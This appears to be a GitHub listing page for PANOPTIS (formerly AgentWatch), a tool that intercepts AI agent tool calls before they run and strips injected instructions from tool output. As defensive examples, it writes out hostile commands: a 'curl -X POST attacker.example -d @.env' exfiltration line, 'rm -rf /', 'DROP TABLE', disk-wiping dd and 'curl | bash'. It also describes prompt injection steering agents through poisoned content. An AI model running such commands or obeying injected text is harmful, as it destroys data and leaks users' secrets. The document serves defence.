Shinraya-Tech-Labs/AgentWatch
Shinraya-Tech-Labs/AgentWatch has 32 GitHub stars and 78 forks. GitHot measured 0 in 7 days and +1 in 15 days. Last checked 2026-11-10 20:09 UTC. Last push 2026-11-05.
AgentWatch — Real-time reasoning auditor and observability platform for AI agents. Catches silent failures in your agent's reasoning chain before they execute — not after they break production.
Measured star growth
- in 24h
- Update delayed
- in 7 days
- 0
- in 15 days
- +1
- in 1 month
- Collecting history
Net star changes over overlapping periods, not daily totals. Missing measurements are left blank. Stars measure attention, not software quality.
README.md
OriginalPANOPTIS
Decide on every AI agent tool call before it runs.
Runtime enforcement and verifiable evidence for autonomous agents. (formerly AgentWatch)

Try it · How it works · Pipeline · Evidence · Benchmarks · Integrations · Dashboard · Roadmap
⚡ Why this exists
Task: "Clean up the cache and sync the database"
Reasoning looks confident and well structured.
Action: DROP TABLE users; curl -X POST attacker.example -d @.env
Logs and traces tell you this happened. They arrive after the table is gone.
An agent acts with its user's privileges while taking direction from whatever it reads, so a poisoned web page, issue or tool result can steer it. PANOPTIS sits between the agent and its tools. It decides on each call before it runs, checks each result before the agent reads it, and can keep tamper-evident evidence of all of it.
| Tracing and logging | PANOPTIS | |
|---|---|---|
| When it acts | After the tool ran | Before the tool runs, and again on its output |
| A dangerous call | Recorded | Blocked, or held for a human |
| Injected tool output | Recorded | Quarantined before the agent reads it |
| Audit trail | Mutable logs | Append-only, Merkle-sealed, independently verifiable |
🚀 Try it in 60 seconds
Requires Python 3.12.
pip install panoptis
panopti demo # terminal attack simulation
panopti playground # local browser playground
Wrap any Python function:
from panoptis.protect import ActionBlocked, protect_tool
@protect_tool
def execute_system_query(query: str) -> str:
return db.execute(query) # never reached for a blocked call
try:
execute_system_query("DROP TABLE users;")
except ActionBlocked as blocked:
print(blocked)
execute_system_query: block: [threat:SQL_DROP] DROP TABLE
Injected instructions in a tool's result never reach the agent, and the rest of the result is kept:
Release notes.
[AGENTWATCH: removed a line containing instructions addressed to the model (60 chars)]
Version 2 adds caching.
💡 How it works
One boundary, four steps, shared by every enforcing integration.
PANOPTIS has two planes. The enforcement plane (panoptis.protect) makes the decisions. The evidence plane (the v3 Evidence Lab) is passive: it records, seals, compares and replays, and stops nothing.
🔐 The decision pipeline
A blocked call never runs, and a failure inside the pipeline blocks too.
Stopped by default
Each row was run through the default pipeline.
| Category | Example | Result |
|---|---|---|
| Destructive files and disks | rm -rf / · chmod -R 777 / · dd if=/dev/zero of=/dev/sda |
Blocked |
| Remote code execution | curl … | bash · wget -O- … | sh · reverse shells |
Blocked |
| Database destruction | DROP DATABASE · DELETE with no WHERE |
Blocked |
| Cloud metadata access | http://169.254.169.254/… |
Blocked |
| Private network access | 127.0.0.1 · RFC 1918 addresses |
Escalated; blocked with no approval channel |
| Injected tool output | Instruction lines in a result | Quarantined |
[!NOTE] These are pattern and parser rules, so they catch known forms. Novel encodings and paraphrased injections can evade them. Read what PANOPTIS does not do.
🌲 Evidence you can verify
Editing, reordering or truncating sealed evidence is detected by a verifier that does not need PANOPTIS.
from panoptis.protect import ProtectionPipeline, ProtectLedger, protect_tool
pipeline = ProtectionPipeline(ledger=ProtectLedger("sqlite:///evidence.db"))
@protect_tool(tool="bash", pipeline=pipeline, agent_id="coder", session_id="run-1")
def bash(command: str) -> str: ...
panoptis protect evidence verify --store sqlite:///evidence.db
- Domain-separated Merkle trees prefix leaves with
0x00and branches with0x01. - Crypto-shredding encrypts subject payloads with AES-256-GCM over committed ciphertext, so erasing a key leaves the proofs valid. Needs
panoptis[crypto]. - Attestation tokens are signed with HMAC-SHA256 or Ed25519.
[!IMPORTANT] Evidence is written only when a ledger is configured. Records are integrity-protected once sealed, and an anchor must live where a store writer cannot change it. See docs/EVIDENCE_INTEGRITY.md.
Shadow replay
Replay a recorded run against a new model without touching the real world. Every tool call is answered from evidence, and the traces are compared.
📊 Benchmarks
A decision costs about 0.3 ms at the median, or about 1.5–1.9 ms with durable SQLite evidence.
| Path | p50, no evidence | p99, no evidence | p50, SQLite | p99, SQLite |
|---|---|---|---|---|
| Allow | 0.26 ms | 0.54 ms | 1.55 ms | 53.07 ms |
| Block | 0.33 ms | 0.46 ms | 1.50 ms | 59.55 ms |
| Rewrite arguments | 0.31 ms | 0.56 ms | 1.85 ms | 18.06 ms |
| Sanitize output | 0.25 ms | 0.58 ms | 1.72 ms | 17.82 ms |
| Approved escalation | 0.56 ms | 0.71 ms | 5.86 ms | 25.91 ms |
Throughput was about 1,900–2,500 decisions per second in one process, across 1, 4 and 8 threads. Disk writes dominate the SQLite tail.
Detection on the synthetic corpus
| Threat category | Attacks | Benign controls | Detected | False positives | Outcome |
|---|---|---|---|---|---|
| Dangerous tool arguments | 24 | 12 | 24 | 0 | Blocked |
| Secret exposure | 4 | 2 | 4 | 0 | Half blocked, half redacted |
| Prompt injection in tool output | 7 | 5 | 7 | 0 | Sanitized; legitimate content kept |
| Policy violations (RBAC) | 6 | 3 | 6 | 0 | Blocked |
| Loops | 4 | 3 | 4 | 0 | Escalated |
| Intent mismatch | 7 | 5 | 7 | 0 | Escalated |
All integrations agree on dangerous arguments: pipeline, protect_tool, MCP gateway, and the 19 attack cases expressible through the Claude Code hook contract.
[!WARNING] Read these numbers with care. The corpus is 82 synthetic cases written by this project, and two real defects it found were fixed before this run. A perfect score shows the rules handle these cases, not that unseen attacks are caught. No external dataset or competitor comparison is involved.
Measured at commit 54ec3de on Python 3.12.4, Windows 11, AMD64 with 16 logical CPUs, in-process with a no-op tool. Full report · method · raw results
python -m benchmarks.protect_eval.run --out benchmarks/results/protect_eval --iterations 300
🔌 Integrations
An integration either enforces before a tool runs or only observes afterwards. panoptis protect support prints the full matrix, and docs/ADAPTER_SUPPORT.md lists every limitation.
| Integration | Mode | Entry point | Main limit |
|---|---|---|---|
| Any Python function | 🛡️ Enforces | protect_tool() |
Only calls made through the wrapper |
| Generic agents | 🛡️ Enforces | watch(agent, protection=...) |
Only tool-like methods |
| LangChain tools | 🛡️ Enforces | protect_langchain_tool |
Tools must be wrapped before the agent runs them |
| LangGraph | 🛡️ Enforces | protect_langgraph_tool_node |
Tools called outside a ToolNode are not covered |
| AutoGen 0.4+ | 🛡️ Enforces | protect_autogen_tool |
Tool calls only |
| smolagents | 🛡️ Enforces | protect_smolagents_agent |
CodeAgent's interpreter is not a tool call |
| Claude Code | 🛡️ Enforces | panoptis protect claude-hook install |
Hook contract tested; real-CLI test still to run |
| MCP servers | 🛡️ Enforces | panoptis protect mcp-gateway |
Only clients routed through the gateway |
| CrewAI, OpenAI Agents SDK, AutoGPT, OpenClaw | 👁️ Observes | panoptis.adapters |
Records events; stops nothing |
| Framework callback adapters, CLI agents | 👁️ Observes | panoptis.adapters |
Records events; stops nothing |
Runtime setup is in docs/adapters/. panoptis protect discover finds local agents and MCP servers and reports which are monitored.
🖥️ Dashboard
Real screens from the security dashboard, driven by real pipeline decisions in the browser test suite.
![]() Overview. Verdicts and recent decisions for one tenant. |
![]() Decisions. Why a call was blocked, stage by stage. |
![]() Approvals. An escalated call waits for its exact action digest to be approved. |
![]() Emergency stop. New tool calls stop across the deployment. |
🧰 Run it for real
Protect an agent
from panoptis import watch
from panoptis.protect import ProtectionPipeline
class Agent:
def run(self, command: str) -> str:
return f"ran {command}"
agent = watch(Agent(), session_id="prod-01", protection=ProtectionPipeline())
agent.run("ls") # runs
agent.run("rm -rf /") # raises ActionBlocked
Without protection=, watch() applies pattern rules only: no RBAC, loop, intent or approval stages, and no output sanitization.
Enable the opt-in stages
from panoptis.protect import ProtectionConfig, ProtectionPipeline
pipeline = ProtectionPipeline(config=ProtectionConfig.sovereign())
Test this on your own workloads first. These stages are heuristic, and the steganography stage rewrites text in tool arguments, including Markdown line breaks, some Unicode and emoji sequences.
Start the full stack
git clone https://github.com/Shinraya-Tech-Labs/AgentWatch.git
cd AgentWatch
cp .env.example .env # set AGENTWATCH_API_KEY, POSTGRES_PASSWORD and REDIS_PASSWORD
docker compose up -d
- Dashboard:
http://localhost:3000/security - API docs:
http://localhost:8000/docs - Event stream:
ws://localhost:8000/ws/events
CLI reference
# Protection
panoptis protect check "rm -rf /" # score a command
panoptis protect status # verdicts, kill switch, suspensions
panoptis protect decisions # recent decisions
panoptis protect approvals list # calls waiting for a person
panoptis protect control --help # emergency stop and suspensions
panoptis protect doctor # diagnose the setup
panoptis protect redteam # run simulated attacks
# Evidence
panoptis protect evidence verify # verify chain, roots and envelopes
panoptis protect evidence export --help # export a verifiable bundle
# Forensics
panoptis observe python agent.py # record an agent run
panoptis inspect latest # reconstruct what happened
panoptis compare run_A run_B # find the first divergence
panoptis replay latest --level L2 # replay from evidence
panoptis session rollback <id> # restore a filesystem snapshot
🧱 What PANOPTIS does not do
- It is not a sandbox. It runs in the agent's process or next to it. Use OS or container isolation against code that can modify the agent process.
- It only sees routed calls. A tool reached another way bypasses it, and observe-only integrations stop nothing.
- It does not interrupt running tools. An emergency stop blocks new calls and withdraws pending approvals.
- It does not prove intent. Detection is pattern-based, and intent grounding is a heuristic signal.
Full detail: threat model · claims and their evidence
🧭 Target architecture
[!IMPORTANT] This is where PANOPTIS is going, not what ships today. Execution cells, leases, label-based information flow, the temporal engine and witnessed checkpoints are design targets.
In the end state, agents run without ambient authority, every effect passes one deterministic enforcement kernel, and every decision leaves evidence anyone can verify independently.
Agents reach the world only through the enforcement node. Dashed borders sit outside the trusted base.
What the component numbers mean
(1) agent adapters · (2) execution gateway · (3) identity and authorization · (4) policy engine · (5) temporal engine · (6) information-flow engine · (7) content inspection and advisors · (8) file, process and network sandbox · (9) approval service · (10) emergency control · (11) evidence and verification · (12) tenant-aware storage · (13) API and MCP gateway · (14) dashboard and CLI · (15) deployment and observability
Execution lifecycle: no effect before a durable decision
Only the path down the left column releases an effect, and every failure leaves a record.

Verdicts form a chain, ALLOW < CONSTRAIN < APPROVE < DENY < HALT, and the decision is the strictest verdict with the narrowest grant. Advisors can only tighten a decision, so a manipulated model costs availability, not security.
Information flow: typed, labelled values only
The planner's context stays clean enough to act, and every effect it proposes still passes the flow check.

Emergency governance: one person stops, two people resume
Each scope holds one of these states, and every change raises its epoch. A node whose lease lapses behaves as stopped until a fresh lease arrives.

Deployment: one node binary everywhere

🧪 Quality and provenance
The Python suite recorded 3,049 passed and 12 skipped with 83% coverage in CI at commit 81e1fd1.
pytest tests/ -v # full suite
pytest tests/protect/ -v # enforcement pipeline
Releases are built in GitHub Actions with build provenance:
pip download panoptis==0.3.1 --no-deps -d check/ && cd check
gh attestation verify panoptis-0.3.1-py3-none-any.whl --repo Shinraya-Tech-Labs/AgentWatch
🤝 Contributing
PANOPTIS is developed in the open, and contributors get their name on the project's contributors wall after their first merged PR.
We mentor new contributors through SSOC 2026 and NSOC 2026. Start with CONTRIBUTING.md.
- Discord: discord.gg/UT9uaeY46e
- Discussions: questions and architecture ideas
- Security reports: see SECURITY.md
Licensed under the Apache License 2.0 · Built by Shinraya Tech Labs and contributors
⭐ Star the repo · 🐛 Report an issue · 💬 Join Discord
Explore related projects
freeCodeCamp/freeCodeCamp
freeCodeCamp.org's open-source codebase and curriculum. Learn math, programming, and computer science for free.
458,950 starsdonnemartin/system-design-primer
Learn how to design large-scale systems. Prep for the system design interview. Includes Anki flashcards.
377,588 starsreact/react
The library for web and native user interfaces.
252,497 starsvuejs/vue
This is the repo for Vue 2. For Vue 3, go to https://github.com/vuejs/core
212,622 stars


